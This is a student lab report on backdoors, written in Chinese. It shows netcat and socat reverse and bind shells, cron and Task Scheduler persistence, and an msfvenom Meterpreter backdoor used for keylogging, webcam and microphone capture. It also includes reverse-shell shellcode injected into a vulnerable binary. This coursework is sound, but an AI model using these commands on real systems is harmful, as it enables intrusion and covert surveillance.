2019-2020-2 20174322童硕《网络对抗技术》Exp2 后门原理与实践

2019-2020-2 20174322童硕《网络对抗技术》Exp2 后门原理与实践



一、实验内容及预备知识

1.实验内容

2.基础问题回答

二、常用后门工具实践

  任务一:Windows获得Linux Shell

  任务二:Linux获得Windows Shell

  任务三:使用nc传输数据

三、Meterpreter

  任务一:使用netcat获取主机操作Shell,cron启动

  任务二:使用socat获取主机操作Shell, 任务计划启动

  任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容

四、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  1.实验原理

  2.实验步骤

五、实验总结和感受

六、实验中遇到的问题

一、实验内容及预备知识

1.实验内容

  • 任务一:使用netcat获取主机操作Shell,cron启动 (0.5分)
  • 任务二:使用socat获取主机操作Shell, 任务计划启动 (0.5分)
  • 任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
  • 任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

2.基础问题回答

  • 例举你能想到的一个后门进入到你系统中的可能方式?

    • 盗版软件被修改加上了攻击程序
    • 存储介质带有自动安装的攻击程序,包括网上买的内存卡,U盘,二手移动设备(手机平板旧硬盘)
    • 钓鱼网站后台自动下载
    • 伪装成word等类型文件的恶意程序
  • 例举你知道的后门如何启动起来(win及linux)的方式?
    • Win:开机自启动项
    • 设置的事件项目
    • 嵌入到盗版软件中,一旦运行程序就会启动恶意代码
    • Linux:本实验中crontab将其设置为定时启动
    • 对有堆栈越界漏洞的程序注入shellcode
  • Meterpreter有哪些给你映像深刻的功能?
    • 在主机植入后门后,可以获取靶机麦克风摄像头、可以截屏、可以记录键盘输入,记录键盘输入的时候退格什么的都会记录,能与靶机之间传输文件。
  • 如何发现自己有系统有没有被安装后门?
    • 定时检测系统安全
    • 查看是否有异常端口
    • 任务管理器查看是否有奇怪的后台应用程序

二、常用后门工具实践

任务一:Windows获得Linux Shell

1、 Windows:使用 ipconfig 指令查看本机IP:192.168.1.6

2、 输入ncat.exe -l -p <学号作为端口号>使用ncat.exe程序监听本机的4322端口

3、 在Kali环境下,使用nc指令的-e选项反向连接Windows主机的4322端口

输入nc  <win IP>  <端口号> -e /bin/sh

nc  192.168.1.6  4322  -e /bin/sh

4、 成功获得Kali的shell,如下图所示

任务二:Linux获得Windows Shell

1、在Kali环境中使用ifconfig查看IP:192.168.1.22,kali的IP地址是可以改的。

输入 ifconfig

可参考:《超详细kali linux 设置固定IP地址步骤》

2、 使用nc指令监听4322端口<学号为端口>

输入:nc -l -p 4322

3、 在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的4322端口

输入ncat.exe -e cmd.exe 192.168.1.22<kali 的  ip> 4322

图中说“pwd”不是内部或外部命令这个,是因为我在kali控制后输入了pwd,他不是win的指令,你看我下图输入dir就显示了目录信息,同时上图也没有弹窗。

4、 Kali下可以看到Windows的命令提示,可以输入Windows命令

任务三:使用nc指令传输数据

1、 Windows系统输入ncat.exe -l 监听4322端口

2、Kali下连接到Windows的4322端口

输入nc 192.168.1.6 4322

3、 建立连接之后,就可以传输数据了

4、 使用nc传输文件(Kali->Windows)

从kali传给windows,先在kali创建文件

按‘i’进入编辑 模式,输入一些字符标识

输入:wq保存并退出

Windows下监听432端口,并把收到的数据保存到file1.out中

ncat.exe -l 4322 > file1.out

kali反弹连接到Windows的4322端口,nc 192.168.1.6 4322< file1.txt

连接建立成功,kali可以收到Windows发来的文件



三、Meterpreter

  • 后门就是一个程序。
  • 传统做法是:有人编写一个后门程序,其他人拿来用。
  • 升级做法是:编写一个平台能生成后门程序
    • 基本功能(基本的连接、执行指令)
    • 扩展功能(搜集用户信息、安装服务等)
    • 编码模式
    • 运行平台
    • 以及运行参数
    • 全部做成零件或者可调整的参数,用的时候直接组合,生成一个可执行文件即可。
  • 典型的平台包括
    • intersect
    • Metaspolit的msfvenom指令
    • Veil-evasion
  • 学习如何使用msfvenom生成后门可执行文件Meterpreter
  • 参数说明
    • -p使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    • -x使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    • -e使用的编码器,用于对shellcode变形,为了免杀。
    • -i编码器的迭代次数。如上即使用该编码器编码5次。
    • -bbadchar是payload中需要去除的字符。
    • LHOST是反弹回连的IP
    • LPORT是回连的端口
    • -f生成文件的类型
    • >输出到哪个文件

任务一:使用netcat获取主机操作Shellcron启动

1、 在Windows系统下,监听4322端口

2、 在Kali环境下,用crontab -e指令编辑一条定时任务

crontab 指令增加一条定时任务

-e表示编辑

选择编辑器时选择3

3、 在最后一行添加15* * * * /bin/netcat 192.168.1.6  4322  -e /bin/sh意思是,每个小时的第15分钟反向连接Windows主机的4322端口,真的要等到 x点15分!但是过了后还是会保留shell,挂着程序,做点别的事就好

4、 当时间到了x点15以及之后时,此时已经获得了Kali的shell,可以输入指令

这里获得的是kali的文件目录 

任务二:使用socat获取主机操作Shell, 任务计划启动

预备知识:

  • socat是ncat的增强版,它使用的格式是socat [options]<address> <address>,其中两个address是必选项,而options 是可选项。
  • socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

1、 Win+R输入compmgmt.msc打开“计算机管理”,在左侧导航栏中的“任务计划程序”中“创建任务”

2、创建任务

填写任务名称

3、 并新建一个触发器

框框里就是字面意思,当工作站锁定时执行操作

4、在操作->新建->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:4322exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口4322,

6、 创建完成之后,按锁定计算机,事件就启动了,再次解锁打开电脑操作往后做
7、 此时,在Kali环境下输入指令socat- tcp:192.168.1.6:4322

  • 这里的第一个参数-代表标准的输入输出
  • 第二个流连接到Windows主机的4322端口

此时可以发现已经成功获得了一个cmd shell

使用win操作可以切换硬盘等等

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncatsocat传送到主机并运行获取主机Shell

1、 在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcpLHOST=192.168.1.22 LPORT=4322 -f exe > 20174322_attackdoor.exe

  • IP地址为控制端IP,即Linux的IP

  • 生成了后门程序:20174322_attackdoor.exe (这个东西相当于恶意软件木马程序)

2、 通过ncat.exe -lv 4322 > 20174322_attackdoor.exe指令将被控制主机进入接受文件模式

3、 在Linux中执行nc 192.168.1.6 4322 < 20174322_attackdoor.exe,注意这里的IP为被控主机IP,即WindowsIP

4、 传送接收文件成功

5、 在Kali上使用msfconsole指令进入msf控制台

每次字符画会变

  • 输入use exploit/multi/handler使用监听模块,设置payload
  • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
  • set LHOST 192.168.1.22,这里用的是LinuxIP,监听端的ip地址
  • set LPORT 4322,同样要使用相同的端口


6、 设置完成后,执行监听
 

7、 运行Windows下的后门程序,就是主机运行了木马程序时开通端口给监视端

8、 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

可以看到第三行192.168.1.6(windows)4322端口受kali控制,这里好像没有试一试命令但没必要,接下来实验是在这个界面上做的。

任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容

1、 使用record_mic指令可以截获一段音频

2、 使用webcam_snap指令可以使用摄像头进行拍照
 

3、 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

4、 使用screenshot指令可以进行截屏



四、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

这个其实不难,可以认真做一下??

 

1.实验原理

首先理解实验一的第三部分,

咱输入的32个“A”就是填充字符,90909090后面的代码就是一种shellcode,用来攻击的,在这里换一种shellcode,换个功能更强大的,这次的能把shell通过端口发送出去,黑客能用MSF meterpreter接收,然后就能入侵靶机。

首先把上次实验用的pwn1文件再下载下来,放在kali根目录就好

同时看到之前的截图啥的其实都存在了这里(因为输命令时我们没设置要存哪)

然后明确pwn1文件不重要,运行的实际是输入的下面这一长串代码。你要做的是找到黄色这几位的地址应该换成啥,换对了就成功了。

perl -e ‘print "A" x 32;print"\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"‘ > input_shellcode

2.实验步骤:

准备工作:

[email protected]:~#execstack -s pwn1    //设置堆栈可执行
[email protected]:~#execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1
[email protected]:~#more /proc/sys/kernel/randomize_va_space
2
[email protected]:~#echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
[email protected]:~#more /proc/sys/kernel/randomize_va_space
0

输入payload

perl -e ‘print "A" x 32;print"\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"‘ > input_shellcode

步骤4:打开两个终端窗口,左边输入(catinput_shellcode;cat) | ./pwn1 注入然后这个挂着不动,换到第二个端口查看这个任务进程,我这里就是5409,就这四个数左上角这个,就这个,不用别的。这个进程每次运行都不一样的

在这个窗口输入gdb打开编译器,输入attach 5409 编译这个进程

步骤5:在编译调试界面输入disassemble foo设置断点,暂停在foo函数

然后在调试界面输入break *0x080484ae 代表着在上图ret的地方加书签断点,程序运行到这里会暂停。这个*0x080484ae所有人都一样,不一样的应该就是初始设置没弄好,重新设置下,可以试着在pwn1文件的目录下设置

设置完断点回车结束这个指令,弹出新的一行“(gdb)”,然后不要动,换窗口了,

在左边注入代码这个窗口按一下回车

然后在右边调试界面输入c 代表continue继续运行,输入info r esp查看它的地址

算地址 ,(0xffffd38c) 16+ (4)16  = (0xffffd390)16

,改这个pqyload

perl -e ‘print "A" x 32;print"\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"‘ > input_shellcode

改好后打开两个窗口,第一个注入,第二个监视

配置好监视的这个

注入的端口按回车

监视的这边就成功获取到shell了

五、实验总结和感受

本次较好地完成了实验的所有内容,在实验中遇到了一些问题也通过百度和其他同学的博客进行探究,对linux系统和windows系统了解更多了一些,知道了weindows的事件是怎么设置的,是怎么启动的,同时我还动手删除了两个Onedrive的事件,烦人的弹窗离我远去。学到了MSF监视器的用法,了解了它的功能。更加熟练的找到程序某个函数的地址,更加深刻地学到了计算偏移地址的方法,更加认真的思考了计算机内存栈的存储和寻址方式

经过这次实验,尝试使用ncat.exe攻击程序在win系统或者linux系统中留下后门,并且实现了屏幕窃取、麦克风控制、摄像头控制、文件传输、命令行控制等操作。在日常生活中,具有一点安全意识的我一般不打开摄像头和麦克风权限,通过这次实验,让我更加重视系统安全问题。很多时候,黑客入侵是不容易察觉的,虽然在实验中windowsdefence发现了注入的特洛伊木马程序,并提醒我注意系统安全。

但到了今天这个时候,一定不断出现新的电脑病毒,如果不及时更新这些杀毒软件的识别库,就有可能检测不到恶意程序代码,所以要及时更新杀毒软件,但是最好不要安装过多的杀毒软件,杀毒软件之间有可能互相杀。

六、实验中遇到的问题

实验中遇到了一些问题,这次做实验没有像上次那样截取了80张图,所以遇到的问题都没有图。

1.是kali连不上网的问题

  我在虚拟机中用kali连不上网

图中这个有三部分的才是正常的情况,我出错的时候eth0没有显示出IP地址,这里我找了几个博客

《kali无法正常上网的解决过程(使用NET模式)》

《关于kali联不上网的一些解决方法》

《Kali Linux 不能联网上网 解决方法汇总》

我的建议是改一改,ping www.baidu.com 看看有没有数据包返回,然后ping自己的主机IP地址看看能不能连接,我记得当时我能ping通百度,ping不同自己主机,但还是能做实验,但刚才我试了下我两个都ping不通了。不影响,没事的。

2.防火墙没有关导致端口不能被使用

这个好弄,系统弹窗的时候看清楚是哪个程序,允许实验的进行就好,什么麦克风权限呀,摄像头权限呀,win系统开始菜单直接搜索麦克风可以转到设置。

3.加分项pwn1文件那当时没搞懂

其实一定做实验前搞清楚要做什么,这部分我们要用一个能特殊的shellcode,这个shellcode不仅要有实验一生成一个控制shell的攻击程序,还得把这个shell控制端口交给另一头,能另一个窗口输入ls命令可以显示目录。所以shellcode要换新的了,但是pwn1文件不用换,它就是个启动程序,就像我们自己创建的exe一样,能运行就行了,换地址是为了让他能运行我们希望的shellcode的地方,而不是foo那个蠢蠢的函数。

4.如何理解msf监视

接受植入靶机的木马程序打开的后门通道,使得在msf这一端可以控制靶机

原文地址:https://www.cnblogs.com/20174322-tong-shuo/p/12498378.html

时间: 2024-10-01 11:47:24

2019-2020-2 20174322童硕《网络对抗技术》Exp2 后门原理与实践的相关文章

20145331魏澍琛《网络对抗》Exp2 后门原理与实践

20145331魏澍琛<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 上网时候弹出一个广告说你中奖了,或者你可以贷款10万元之类的,你一激动一点进去后门就进入你的系统了. (2)例举你知道的后门如何启动起来(win及linux)的方式? 比如下载一个游戏,下下来你会发现除了游戏快捷方式还有什么游戏大厅.游戏加速,或者什么最新的网页游戏(传奇狂暴版),你一好奇一点进去后门就启动了. (3)Meterpreter有哪些给你映像深刻的功能?

20145311王亦徐《网络对抗技术》后门原理与实践

20145311王亦徐<网络对抗技术>后门原理与实践 实验内容 使用netcat.socat获取主机操作Shell,并分别设置cron启动与任务计划启动 使用MSF meterpreter生成后门的可执行文件,并利用ncat或socat传送给主机,接着运行文件获取目标主机的音频.摄像头.击键记录.提权等内容 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 类似于摆渡木马的方式,将移动存储设备插入目标主机,backdoor自动拷贝到目标主机中(2)例举你知道的后门如何启动起

20145317彭垚《网络对抗》Exp2 后门原理与实践

20145317彭垚<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 在网上下载软件的时候,后门很有可能被捆绑在下载的软件当中: 例举你知道的后门如何启动起来(win及linux)的方式? Windows下在控制面板的管理工具中可以设置任务计划启动,或者通过修改注册表来达到自启的目的: 对后门程序进行伪装,例如重命名成某个游戏的开始程序之类的,诱骗用户点击启动: Linux下可以通过cron来启动. Meterpreter有哪些给你映像深刻的

20155338《网络对抗》Exp2 后门原理与实践

20155338<网络对抗>Exp2 后门原理与实践 一. 基础问题 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:游览网站中附带的广告或弹出的不正规软件. (2)例举你知道的后门如何启动起来(win及linux)的方式? 答:1.操作系统自带服务: 2.网络协议捆绑: 3.软件编写者制作: 4.漏洞攻击后放置: (3)Meterpreter有哪些给你映像深刻的功能 答:录屏,提升权限和录音. (4)如何发现自己有系统有没有被安装后门 答:用网络命令来看计算机所连接的设备有没有陌

20154324 刘康权 《网络对抗》Exp2 后门原理与实践

一.实践目标与内容 1.学习内容 使用nc实现win,mac,Linux间的后门连接 meterpreter的应用 MSF POST 模块的应用 2.学习目标 学习建立一个后门连接,并了解其中的知识点,同时熟悉后门连接的功能.通过亲手实践并了解这一事实,提高自己的安全意识 . 3.概念 后门就是不经过正常认证流程而访问系统的通道. netcat是一个底层工具,进行基本的TCP UDP数据收发.常被与其他工具结合使用,起到后门的作用. socat是ncat的增强版,它使用的格式是socat [op

20154329 《网络对抗技术》后门原理与实践

# Exp2后门原理与实践  ## 实验准备  1.知识储备  关于netcat:      又名nc,ncat.是一个底层工具,进行基本的TCP UDP数据收发.常被与其他工具结合使用,起到后门的作用.2.f附件准备  在课程主页下载附件ncat.exe和socat.exe  ## 实验过程### 任务一:使用netcat获取主机操作Shell,cron启动  #### 一.Win获得Linux Shell  ##### 1.Windows下,使用ipconfig指令查看本机ip为172.30

20155321 《网络攻防》 Exp2 后门原理与实践

20155321 <网络攻防> Exp2 后门原理与实践 实验内容 例举你能想到的一个后门进入到你系统中的可能方式? 我觉得人们在平时上网的时候可能会无意识地点击到一些恶意的网站,这些网站本身可能被黑客植入了木马程序,这些程序可能会随着人们下载到本地而有机会进入到系统中. 例举你知道的后门如何启动起来(win及linux)的方式? 我所知道的是可能是黑客通过远程控制的办法是输入命令使后门程序启动起来. Meterpreter有哪些给你映像深刻的功能? 让我印象比较深刻的是可以通过后门控制摄像头

20145331魏澍琛《网络对抗》——免杀原理与实践

20145331魏澍琛<网络对抗>--免杀原理与实践 问题回答 1.杀软是如何检测出恶意代码的? 一个是基于特征码的检测,第二个是启发式恶意软件检测,最后是基于行为的恶意软件检测 2.免杀是做什么? 让病毒不被杀毒软件kill掉 3.免杀的基本方法有哪些? a)可以用这次实验所涉及的改变特征码 b)加壳:就是相当于把你的后门代码封装起来,但是现在大部分公开的壳都能被杀毒软件查出来,效果其实不好 实践过程 一.使用msf生成后门程序的检测 1.用上节课所讲的msf生成一个后门 2.到相应网站上查

20145239杜文超《网络对抗》- 免杀原理与实践

<网络对抗>- 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 根据搜集来的最全的.最新的特征码库,检测程序有没有异常或者可疑的行为. (2)免杀是做什么? 利用一些手段,让你的的后门不被AV软件发现. (3)免杀的基本方法有哪些? 加壳.用其他语言进行重写再编译. 使用反弹式连接. 自己手工编一个. 实践总结与体会 这次的免杀实验做得非常顺利,每一个步骤基本上都一次成功,虽然这正是我所希望的但也有不好就是万一下次遇到问题可能不会解决,毕竟遇到问题.解决问题的过程才能让学习的